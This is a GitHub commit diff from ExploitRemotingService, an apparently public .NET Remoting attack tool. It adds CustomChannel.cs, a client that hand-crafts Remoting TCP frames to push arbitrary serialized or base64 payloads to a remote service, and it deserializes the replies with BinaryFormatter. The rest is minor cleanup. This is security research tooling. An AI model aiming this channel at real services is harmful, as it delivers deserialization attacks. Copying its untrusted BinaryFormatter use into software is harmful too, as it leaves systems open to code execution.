Skip to content

Commit 5ea4599

Browse files
committed
Cleaning up code.
1 parent 162b0c2 commit 5ea4599

File tree

6 files changed

+465
-378
lines changed

6 files changed

+465
-378
lines changed

ExampleRemotingService/Program.cs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ static void Main(string[] args)
3838
{
3939
bool secure = false;
4040
int port = 12345;
41-
string ipc = String.Empty;
41+
string ipc = string.Empty;
4242
bool showhelp = false;
4343
TypeFilterLevel typefilter = TypeFilterLevel.Low;
4444
CustomErrorsModes custom_errors = CustomErrorsModes.Off;
Lines changed: 262 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,262 @@
1+
// ExploitRemotingService
2+
// Copyright (C) 2019 James Forshaw
3+
//
4+
// This program is free software: you can redistribute it and/or modify
5+
// it under the terms of the GNU General Public License as published by
6+
// the Free Software Foundation, either version 3 of the License, or
7+
// (at your option) any later version.
8+
//
9+
// This program is distributed in the hope that it will be useful,
10+
// but WITHOUT ANY WARRANTY; without even the implied warranty of
11+
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12+
// GNU General Public License for more details.
13+
//
14+
// You should have received a copy of the GNU General Public License
15+
// along with this program. If not, see <http://www.gnu.org/licenses/>.
16+
17+
using System;
18+
using System.Diagnostics;
19+
using System.IO;
20+
using System.Linq;
21+
using System.Reflection;
22+
using System.Runtime.Remoting.Messaging;
23+
using System.Runtime.Serialization.Formatters;
24+
using System.Runtime.Serialization.Formatters.Binary;
25+
using System.Text;
26+
27+
namespace ExploitRemotingService
28+
{
29+
class CustomChannel
30+
{
31+
private Uri _uri;
32+
private readonly Func<Stream> _bind_stream;
33+
private readonly bool _null_uri;
34+
private readonly Func<string, MethodBase, object[], object> _get_message_object;
35+
36+
public CustomChannel(Uri uri, Func<Stream> bind_stream,
37+
Func<string, MethodBase, object[], object> get_message_object, bool null_uri)
38+
{
39+
_uri = uri;
40+
_bind_stream = bind_stream;
41+
_null_uri = null_uri;
42+
_get_message_object = get_message_object;
43+
}
44+
45+
private static string ReadHeaderString(BinaryReader reader)
46+
{
47+
int encType = reader.ReadByte();
48+
int length = reader.ReadInt32();
49+
50+
byte[] data = reader.ReadBytes(length);
51+
52+
if (encType == 0)
53+
{
54+
return Encoding.Unicode.GetString(data);
55+
}
56+
else if (encType == 1)
57+
{
58+
return Encoding.UTF8.GetString(data);
59+
}
60+
else
61+
{
62+
throw new InvalidOperationException("Invalid string encoding");
63+
}
64+
}
65+
66+
private static void ReadHeaders(BinaryReader reader)
67+
{
68+
ushort token = reader.ReadUInt16();
69+
70+
while (token != 0)
71+
{
72+
string name = token.ToString();
73+
object value = null;
74+
75+
switch (token)
76+
{
77+
case 1:
78+
{
79+
name = ReadHeaderString(reader);
80+
value = ReadHeaderString(reader);
81+
}
82+
break;
83+
default:
84+
byte dataType = reader.ReadByte();
85+
86+
switch (dataType)
87+
{
88+
case 0:
89+
break;
90+
case 1:
91+
value = ReadHeaderString(reader);
92+
break;
93+
case 2:
94+
value = reader.ReadByte();
95+
break;
96+
case 3:
97+
value = reader.ReadUInt16();
98+
break;
99+
case 4:
100+
value = reader.ReadInt32();
101+
break;
102+
default:
103+
throw new InvalidOperationException("Unknown header data type");
104+
}
105+
break;
106+
}
107+
108+
Trace.WriteLine($"Header: {name}={value}");
109+
token = reader.ReadUInt16();
110+
}
111+
}
112+
113+
private static object ParseResult(BinaryReader reader)
114+
{
115+
uint magic = reader.ReadUInt32();
116+
117+
if (magic != 0x54454E2E)
118+
{
119+
throw new InvalidDataException("Invalid magic value");
120+
}
121+
122+
reader.ReadByte(); // Major
123+
reader.ReadByte(); // Minor
124+
reader.ReadUInt16(); // Operation Type
125+
reader.ReadUInt16(); // Content distribution
126+
127+
int len = reader.ReadInt32();
128+
129+
ReadHeaders(reader);
130+
131+
byte[] data = reader.ReadBytes(len);
132+
133+
BinaryFormatter fmt = new BinaryFormatter
134+
{
135+
AssemblyFormat = FormatterAssemblyStyle.Simple
136+
};
137+
138+
MemoryStream stm = new MemoryStream(data);
139+
if (fmt.Deserialize(stm) is IMethodReturnMessage ret)
140+
{
141+
if (ret.Exception != null)
142+
{
143+
return ret.Exception;
144+
}
145+
else
146+
{
147+
return ret.ReturnValue ?? "void";
148+
}
149+
}
150+
else
151+
{
152+
return "Error, invalid return message.";
153+
}
154+
}
155+
156+
private static MethodBase GetStaticMethod(Type type, string name, params Type[] argTypes)
157+
{
158+
MethodBase b = type.GetMethod(name, BindingFlags.Static | BindingFlags.Public,
159+
null, argTypes, null);
160+
161+
if (b == null)
162+
{
163+
throw new InvalidOperationException($"Could not get method {name} with types {string.Join(",", argTypes.Select(t => t.FullName).ToArray())}");
164+
}
165+
166+
return b;
167+
}
168+
169+
public static byte[] SerializeObject(object o, bool remote)
170+
{
171+
MemoryStream stm = new MemoryStream();
172+
BinaryFormatter fmt = new BinaryFormatter
173+
{
174+
AssemblyFormat = FormatterAssemblyStyle.Simple
175+
};
176+
177+
if (remote)
178+
{
179+
fmt.SurrogateSelector = new RemotingSurrogateSelector();
180+
}
181+
182+
fmt.Serialize(stm, o);
183+
184+
return stm.ToArray();
185+
}
186+
187+
public object SendRequest(byte[] data)
188+
{
189+
MemoryStream stm = new MemoryStream();
190+
BinaryWriter writer = new BinaryWriter(stm);
191+
192+
writer.Write((uint)0x54454E2E); // Header
193+
writer.Write((byte)1); // Major
194+
writer.Write((byte)0); // Minor
195+
writer.Write((ushort)0); // OperationType
196+
writer.Write((ushort)0); // ContentDistribution
197+
writer.Write(data.Length); // Data Length
198+
199+
if (!_null_uri)
200+
{
201+
writer.Write((ushort)4); // UriHeader
202+
writer.Write((byte)1); // DataType
203+
writer.Write((byte)1); // Encoding: UTF8
204+
205+
byte[] uriData = Encoding.UTF8.GetBytes(_uri.ToString());
206+
207+
writer.Write(uriData.Length); // Length
208+
writer.Write(uriData); // URI
209+
}
210+
211+
writer.Write((ushort)0); // Terminating Header
212+
writer.Write(data); // Data
213+
214+
using (var netStream = _bind_stream())
215+
{
216+
using (var netWriter = new BinaryWriter(netStream))
217+
{
218+
netWriter.Write(stm.ToArray());
219+
220+
BinaryReader reader = new BinaryReader(netStream);
221+
222+
return ParseResult(reader);
223+
}
224+
}
225+
}
226+
227+
public object SendRequest(string base64)
228+
{
229+
return SendRequest(Convert.FromBase64String(base64));
230+
}
231+
232+
public object SendRequest(object o, bool remote)
233+
{
234+
byte[] data = SerializeObject(o, remote);
235+
return SendRequest(data);
236+
}
237+
238+
public T MakeCall<T>(string path, MethodBase mi, params object[] cmdargs)
239+
{
240+
return (T)MakeCall(path, mi, cmdargs);
241+
}
242+
243+
public object MakeCall(string path, MethodBase mi, params object[] cmdargs)
244+
{
245+
object ret = SendRequest(_get_message_object(path, mi, cmdargs), false);
246+
247+
if (ret is Exception)
248+
{
249+
throw (Exception)ret;
250+
}
251+
else
252+
{
253+
return ret;
254+
}
255+
}
256+
257+
public object MakeCallNoThrow(string path, MethodBase mi, params object[] cmdargs)
258+
{
259+
return SendRequest(_get_message_object(path, mi, cmdargs), false);
260+
}
261+
}
262+
}

ExploitRemotingService/ExploitRemotingService.csproj

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,9 @@
7070
<Reference Include="System.Xml" />
7171
</ItemGroup>
7272
<ItemGroup>
73+
<Compile Include="CustomChannel.cs" />
7374
<Compile Include="SerializableWrapper.cs" />
75+
<Compile Include="SerializerRemoteClass.cs" />
7476
<EmbeddedResource Include="..\Installer\InstallClass.cs">
7577
<Link>InstallClass.cs</Link>
7678
</EmbeddedResource>

ExploitRemotingService/FakeMessage.cs

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -123,8 +123,6 @@ public LogicalCallContext LogicalCallContext
123123
}
124124
}
125125

126-
//private int count = 0;
127-
128126
private static void TraceMethodCall(MethodBase mi)
129127
{
130128
Trace.WriteLine(String.Format("Calling: {0}", mi.Name));

0 commit comments

Comments
 (0)